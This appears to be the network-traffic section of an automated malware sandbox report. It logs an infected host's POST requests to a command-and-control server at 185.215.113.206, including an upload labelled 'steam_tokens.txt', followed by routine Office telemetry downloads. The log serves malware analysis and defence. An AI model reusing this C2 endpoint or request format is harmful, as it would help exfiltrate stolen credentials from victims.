Oct 29, 2024 20:35:27.705832005 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFBKKJECAKEHJJJDBAF Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 61 38 33 61 39 38 62 61 30 31 31 61 64 35 61 38 30 31 32 39 62 63 39 31 63 66 36 32 38 37 33 39 31 61 63 30 36 33 61 66 66 32 65 39 38 32 65 36 64 63 33 37 39 34 30 38 37 66 66 61 36 62 30 39 37 36 64 66 61 31 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 2d 2d 0d 0a Data Ascii: ------EBFBKKJECAKEHJJJDBAFContent-Disposition: form-data; name="token"d0a83a98ba011ad5a80129bc91cf6287391ac063aff2e982e6dc3794087ffa6b0976dfa1------EBFBKKJECAKEHJJJDBAFContent-Disposition: form-data; name="message"files------EBFBKKJECAKEHJJJDBAF--
Oct 29, 2024 20:35:27.993858099 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 20:35:28.015275955 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 61 38 33 61 39 38 62 61 30 31 31 61 64 35 61 38 30 31 32 39 62 63 39 31 63 66 36 32 38 37 33 39 31 61 63 30 36 33 61 66 66 32 65 39 38 32 65 36 64 63 33 37 39 34 30 38 37 66 66 61 36 62 30 39 37 36 64 66 61 31 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="token"d0a83a98ba011ad5a80129bc91cf6287391ac063aff2e982e6dc3794087ffa6b0976dfa1------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="file"------GHDBAFIIECBFHIEBKJJK--
Oct 29, 2024 20:35:28.801526070 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 20:35:28.832915068 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKECGDBFCBKFIDHIDHDH Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 61 38 33 61 39 38 62 61 30 31 31 61 64 35 61 38 30 31 32 39 62 63 39 31 63 66 36 32 38 37 33 39 31 61 63 30 36 33 61 66 66 32 65 39 38 32 65 36 64 63 33 37 39 34 30 38 37 66 66 61 36 62 30 39 37 36 64 66 61 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 2d 2d 0d 0a Data Ascii: ------JKECGDBFCBKFIDHIDHDHContent-Disposition: form-data; name="token"d0a83a98ba011ad5a80129bc91cf6287391ac063aff2e982e6dc3794087ffa6b0976dfa1------JKECGDBFCBKFIDHIDHDHContent-Disposition: form-data; name="message"ybncbhylepme------JKECGDBFCBKFIDHIDHDH--
Oct 29, 2024 20:35:29.144684076 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 20:35:29.146533966 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEBAAFCAFCBKFHJJJKKF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 61 38 33 61 39 38 62 61 30 31 31 61 64 35 61 38 30 31 32 39 62 63 39 31 63 66 36 32 38 37 33 39 31 61 63 30 36 33 61 66 66 32 65 39 38 32 65 36 64 63 33 37 39 34 30 38 37 66 66 61 36 62 30 39 37 36 64 66 61 31 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 2d 2d 0d 0a Data Ascii: ------IEBAAFCAFCBKFHJJJKKFContent-Disposition: form-data; name="token"d0a83a98ba011ad5a80129bc91cf6287391ac063aff2e982e6dc3794087ffa6b0976dfa1------IEBAAFCAFCBKFHJJJKKFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IEBAAFCAFCBKFHJJJKKF--
Oct 29, 2024 20:35:29.932843924 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.5	49705	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:34:57 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:34:57 UTC	540	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:34:57 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 28 Oct 2024 13:23:36 GMT ETag: "0x8DCF753BAA1B278" x-ms-request-id: 174434da-801e-0015-686a-29f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193457Z-16849878b78fhxrnedubv5byks000000058000000000rwse x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:34:57 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-29 19:34:57 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-29 19:34:57 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-29 19:34:57 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-29 19:34:57 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-29 19:34:57 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-29 19:34:57 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-29 19:34:57 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-29 19:34:57 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-29 19:34:57 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.5	49710	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:34:58 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:34:58 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:34:58 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 834668b8-301e-0052-121c-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193458Z-16849878b78qf2gleqhwczd21s000000073g00000000skys x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:34:58 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.5	49709	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:34:58 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:34:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:34:58 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: c3a6d21e-601e-00ab-1dc6-2766f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193458Z-r197bdfb6b4hsj5bywyqk9r2xw00000008c000000000ks7b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:34:58 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

